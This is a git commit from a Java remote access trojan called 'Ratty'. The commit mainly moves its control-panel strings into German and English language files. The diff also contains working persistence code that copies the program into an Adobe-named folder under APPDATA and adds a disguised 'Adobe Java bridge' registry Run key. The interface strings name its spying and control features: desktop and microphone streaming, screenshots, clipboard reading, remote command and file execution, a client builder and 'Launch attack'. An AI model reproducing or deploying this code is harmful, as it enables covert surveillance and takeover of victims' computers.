Browse Source

Major changes

Started to make the GUI multilingual
master
Sogomn 9 years ago
parent
commit
d0b37c2e4f
  1. 31
      Ratty/res/language/lang.properties
  2. 31
      Ratty/res/language/lang_de.properties
  3. 31
      Ratty/res/language/lang_en.properties
  4. 27
      Ratty/src/de/sogomn/rat/Ratty.java
  5. 16
      Ratty/src/de/sogomn/rat/server/gui/FileTree.java
  6. 26
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  7. 4
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
  8. 53
      Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java

31
Ratty/res/language/lang.properties

@ -0,0 +1,31 @@
debug.question=Server or client?
debug.server=Server
debug.client=Client
server.port_message=Which port should the server be bind to?
action.popup=Open popup
action.screenshot=Take screensot
action.desktop=Toggle desktop stream
action.voice=Toggle microphone stream
action.files=Browse files
action.command=Execute command
action.clipboard=Show clipboard
action.website=Open website
action.audio=Play audio
action.free=Free client
action.build=Client builder
action.attack=Launch attack
action.request_files=Request content
action.download=Download file
action.upload=Upload file here
action.execute=Execute file
action.delete=Delete file
action.new_directory=Create new directory
column.name=Name
column.address=IP Address
column.os=OS
column.version=Version
column.desktop=Streaming desktop
column.voice=Streaming voice

31
Ratty/res/language/lang_de.properties

@ -0,0 +1,31 @@
debug.question=Server oder Client?
debug.server=Server
debug.client=Client
server.port_message=An welchen Port soll der Server gebunden werden?
action.popup=Popup öffnen
action.screenshot=Screenshot machen
action.desktop=Desktopstream an/aus
action.voice=Mikrofonstream an/aus
action.files=Dateien durchsuchen
action.command=Befehl ausführen
action.clipboard=Zwischenablage zeigen
action.website=Webseite öffnen
action.audio=Audiodatei abspielen
action.free=Client befreien
action.build=Clientbuilder
action.attack=Angriff starten
action.request_files=Inhalt anfordern
action.download=Datei herunterladen
action.upload=Datei hier hochladen
action.execute=Datei ausführen
action.delete=Datei löschen
action.new_directory=Neuen Ordner erstellen
column.name=Name
column.address=IP-Adresse
column.os=OS
column.version=Version
column.desktop=Desktopstream
column.voice=Mikrofonstream

31
Ratty/res/language/lang_en.properties

@ -0,0 +1,31 @@
debug.question=Server or client?
debug.server=Server
debug.client=Client
server.port_message=Which port should the server be bind to?
action.popup=Open popup
action.screenshot=Take screensot
action.desktop=Toggle desktop stream
action.voice=Toggle microphone stream
action.files=Browse files
action.command=Execute command
action.clipboard=Show clipboard
action.website=Open website
action.audio=Play audio
action.free=Free client
action.build=Client builder
action.attack=Launch attack
action.request_files=Request content
action.download=Download file
action.upload=Upload file here
action.execute=Execute file
action.delete=Delete file
action.new_directory=Create new directory
column.name=Name
column.address=IP Address
column.os=OS
column.version=Version
column.desktop=Streaming desktop
column.voice=Streaming voice

27
Ratty/src/de/sogomn/rat/Ratty.java

@ -4,6 +4,7 @@ import java.io.File;
import java.io.IOException;
import java.net.URI;
import java.net.URISyntaxException;
import java.util.ResourceBundle;
import javax.swing.JDialog;
import javax.swing.JFrame;
@ -19,24 +20,26 @@ import de.sogomn.rat.server.gui.RattyGuiController;
public final class Ratty {
public static final boolean DEBUG = true;
public static final String VERSION = "1.2";
public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang");
private static String address;
private static int port;
private static boolean client;
private static final boolean DEBUG = true;
private static final String PORT_INPUT_MESSAGE = "Which port should the server be bind to?";
private static final int CONNECTION_INTERVAL = 2500;
private static final String CONNECTION_DATA_FILE_NAME = "/connection_data.txt";
private static final String STARTUP_FOLDER_NAME = "Adobe" + File.separator + "AIR";
private static final String STARTUP_FILE_NAME = "jre13v3bridge.jar";
private static final String STARTUP_FILE_PATH = System.getenv("APPDATA") + File.separator + STARTUP_FOLDER_NAME + File.separator + STARTUP_FILE_NAME;
private static final String STARTUP_COMMAND = System.getProperty("java.home") + File.separator + "bin" + File.separator + "java.exe";
private static final String REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_COMMAND + " " + STARTUP_FILE_PATH + "\"";
private static final String STARTUP_REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_COMMAND + " " + STARTUP_FILE_PATH + "\"";
public static final String VERSION = "1.1";
private static final String PORT_INPUT_MESSAGE = LANGUAGE.getString("server.port_message");
private static final String DEBUG_MESSAGE = LANGUAGE.getString("debug.question");
private static final String DEBUG_SERVER = LANGUAGE.getString("debug.server");
private static final String DEBUG_CLIENT = LANGUAGE.getString("debug.client");
private Ratty() {
//...
@ -74,7 +77,7 @@ public final class Ratty {
FileUtils.createFile(STARTUP_FILE_PATH);
FileUtils.copyFile(source, destination);
Runtime.getRuntime().exec(REGISTRY_COMMAND);
Runtime.getRuntime().exec(STARTUP_REGISTRY_COMMAND);
} catch (final URISyntaxException | IOException ex) {
ex.printStackTrace();
}
@ -131,15 +134,15 @@ public final class Ratty {
readConnectionData();
if (DEBUG) {
final String[] options = {"Server", "Client"};
final int input = JOptionPane.showOptionDialog(null, "Server or client?", null, JOptionPane.YES_NO_OPTION, JOptionPane.QUESTION_MESSAGE, null, options, null);
final String[] options = {DEBUG_SERVER, DEBUG_CLIENT};
final int input = JOptionPane.showOptionDialog(null, DEBUG_MESSAGE, null, JOptionPane.YES_NO_OPTION, JOptionPane.QUESTION_MESSAGE, null, options, null);
if (input == JOptionPane.YES_OPTION) {
System.out.println("Server");
System.out.println(DEBUG_SERVER);
startServer(port);
} else if (input == JOptionPane.NO_OPTION) {
System.out.println("Client");
System.out.println(DEBUG_CLIENT);
connectToHost(address, port);
}

16
Ratty/src/de/sogomn/rat/server/gui/FileTree.java

@ -1,5 +1,7 @@
package de.sogomn.rat.server.gui;
import static de.sogomn.rat.Ratty.*;
import java.awt.Dimension;
import java.awt.event.ActionEvent;
import java.awt.event.MouseAdapter;
@ -37,12 +39,12 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
private static final Dimension DEFAULT_SIZE = new Dimension(500, 500);
private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons_tree.png", 32, 32).getSprites();
public static final String REQUEST = "Request content";
public static final String DOWNLOAD = "Download file";
public static final String UPLOAD = "Upload file here";
public static final String EXECUTE = "Execute file";
public static final String DELETE = "Delete file";
public static final String NEW_FOLDER = "Create new folder here";
public static final String REQUEST = LANGUAGE.getString("action.request_files");
public static final String DOWNLOAD = LANGUAGE.getString("action.download");
public static final String UPLOAD = LANGUAGE.getString("action.upload");
public static final String EXECUTE = LANGUAGE.getString("action.execute");
public static final String DELETE = LANGUAGE.getString("action.delete");
public static final String NEW_DIRECTORY = LANGUAGE.getString("action.new_directory");
public static final String[] COMMANDS = {
REQUEST,
@ -50,7 +52,7 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
UPLOAD,
EXECUTE,
DELETE,
NEW_FOLDER
NEW_DIRECTORY
};
public FileTree() {

26
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -1,5 +1,7 @@
package de.sogomn.rat.server.gui;
import static de.sogomn.rat.Ratty.LANGUAGE;
import java.awt.BorderLayout;
import java.awt.Container;
import java.awt.Dimension;
@ -54,18 +56,18 @@ public final class RattyGui extends AbstractListenerContainer<IGuiController> {
private static final List<BufferedImage> GUI_ICONS = Arrays.asList(GUI_ICON_SMALL, GUI_ICON_MEDIUM, GUI_ICON_LARGE);
private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons.png", 32, 32).getSprites();
public static final String POPUP = "Open popup";
public static final String SCREENSHOT = "Take screenshot";
public static final String DESKTOP = "Toggle desktop stream";
public static final String VOICE = "Toggle audio stream";
public static final String FILES = "Browse files";
public static final String COMMAND = "Execute command";
public static final String CLIPBOARD = "Get clipboard content";
public static final String WEBSITE = "Open website";
public static final String AUDIO = "Play audio";
public static final String FREE = "Free client";
public static final String BUILD = "Client builder";
public static final String ATTACK = "Launch attack";
public static final String POPUP = LANGUAGE.getString("action.popup");
public static final String SCREENSHOT = LANGUAGE.getString("action.screenshot");
public static final String DESKTOP = LANGUAGE.getString("action.desktop");
public static final String VOICE = LANGUAGE.getString("action.voice");
public static final String FILES = LANGUAGE.getString("action.files");
public static final String COMMAND = LANGUAGE.getString("action.command");
public static final String CLIPBOARD = LANGUAGE.getString("action.clipboard");
public static final String WEBSITE = LANGUAGE.getString("action.website");
public static final String AUDIO = LANGUAGE.getString("action.audio");
public static final String FREE = LANGUAGE.getString("action.free");
public static final String BUILD = LANGUAGE.getString("action.build");
public static final String ATTACK = LANGUAGE.getString("action.attack");
public static final String[] COMMANDS = {
POPUP,

4
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -195,7 +195,7 @@ public final class RattyGuiController extends AbstractRattyController implements
launchAttack();
} else if (command == RattyGui.BUILD) {
StubBuilder.start();
} else if (command == FileTree.NEW_FOLDER || command == FileTree.UPLOAD || command == FileTree.REQUEST || command == FileTree.DELETE) {
} else if (command == FileTree.NEW_DIRECTORY || command == FileTree.UPLOAD || command == FileTree.REQUEST || command == FileTree.DELETE) {
handleFileTreeCommand(client, command);
}
}
@ -227,7 +227,7 @@ public final class RattyGuiController extends AbstractRattyController implements
packet = createExecutePacket(client);
} else if (command == FileTree.DELETE) {
packet = createDeletePacket(client);
} else if (command == FileTree.NEW_FOLDER) {
} else if (command == FileTree.NEW_DIRECTORY) {
packet = createFolderPacket(client);
} else if (command == DisplayPanel.MOUSE_EVENT && client.isStreamingDesktop()) {
packet = client.displayPanel.getLastMouseEventPacket();

53
Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java

@ -1,5 +1,7 @@
package de.sogomn.rat.server.gui;
import static de.sogomn.rat.Ratty.LANGUAGE;
import java.util.ArrayList;
import java.util.function.Function;
@ -9,26 +11,41 @@ final class ServerClientTableModel extends AbstractTableModel {
private static final long serialVersionUID = 919111102883611810L;
private ArrayList<ServerClient> serverClients;
private Column[] columns;
private ArrayList<Column> columns;
private static final int COLUMN_COUNT = 6;
private static final Column NAME = new Column(LANGUAGE.getString("column.name"), String.class, ServerClient::getName);
private static final Column IP_ADDRESS = new Column(LANGUAGE.getString("column.address"), String.class, ServerClient::getAddress);
private static final Column OS = new Column(LANGUAGE.getString("column.os"), String.class, ServerClient::getOs);
private static final Column VERSION = new Column(LANGUAGE.getString("column.version"), String.class, ServerClient::getVersion);
private static final Column STREAMING_DESKTOP = new Column(LANGUAGE.getString("column.desktop"), Boolean.class, ServerClient::isStreamingDesktop);
private static final Column STREAMING_VOICE = new Column(LANGUAGE.getString("column.voice"), Boolean.class, ServerClient::isStreamingVoice);
public ServerClientTableModel() {
serverClients = new ArrayList<ServerClient>();
columns = new Column[COLUMN_COUNT];
columns = new ArrayList<Column>();
columns[0] = new Column("Name", String.class, ServerClient::getName);
columns[1] = new Column("IP address", String.class, ServerClient::getAddress);
columns[2] = new Column("OS", String.class, ServerClient::getOs);
columns[3] = new Column("Version", String.class, ServerClient::getVersion);
columns[4] = new Column("Streaming desktop", Boolean.class, ServerClient::isStreamingDesktop);
columns[5] = new Column("Streaming voice", Boolean.class, ServerClient::isStreamingVoice);
addColumn(NAME);
addColumn(IP_ADDRESS);
addColumn(OS);
addColumn(VERSION);
addColumn(STREAMING_DESKTOP);
addColumn(STREAMING_VOICE);
}
public void addColumn(final Column column) {
columns.add(column);
}
public void removeColumn(final Column column) {
columns.remove(column);
}
@Override
public String getColumnName(final int columnIndex) {
if (columnIndex <= COLUMN_COUNT - 1 && columnIndex >= 0) {
final Column column = columns[columnIndex];
final int columnCount = columns.size();
if (columnIndex <= columnCount - 1 && columnIndex >= 0) {
final Column column = columns.get(columnIndex);
return column.name;
}
@ -38,8 +55,9 @@ final class ServerClientTableModel extends AbstractTableModel {
@Override
public Class<?> getColumnClass(final int columnIndex) {
if (columnIndex <= COLUMN_COUNT - 1 && columnIndex >= 0) {
final Column column = columns[columnIndex];
final int columnCount = columns.size();
if (columnIndex <= columnCount - 1 && columnIndex >= 0) {
final Column column = columns.get(columnIndex);
return column.clazz;
}
@ -55,12 +73,13 @@ final class ServerClientTableModel extends AbstractTableModel {
@Override
public Object getValueAt(final int rowIndex, final int columnIndex) {
final ServerClient serverClient = getServerClient(rowIndex);
final int columnCount = columns.size();
if (serverClient == null || columnIndex > COLUMN_COUNT - 1 || columnIndex < 0) {
if (serverClient == null || columnIndex > columnCount - 1 || columnIndex < 0) {
return null;
}
final Column column = columns[columnIndex];
final Column column = columns.get(columnIndex);
final Function<ServerClient, ?> value = column.value;
return value.apply(serverClient);
@ -68,7 +87,7 @@ final class ServerClientTableModel extends AbstractTableModel {
@Override
public int getColumnCount() {
return COLUMN_COUNT;
return columns.size();
}
@Override
@ -94,7 +113,7 @@ final class ServerClientTableModel extends AbstractTableModel {
return null;
}
private final class Column {
public static final class Column {
final String name;
final Class<?> clazz;

Loading…
Cancel
Save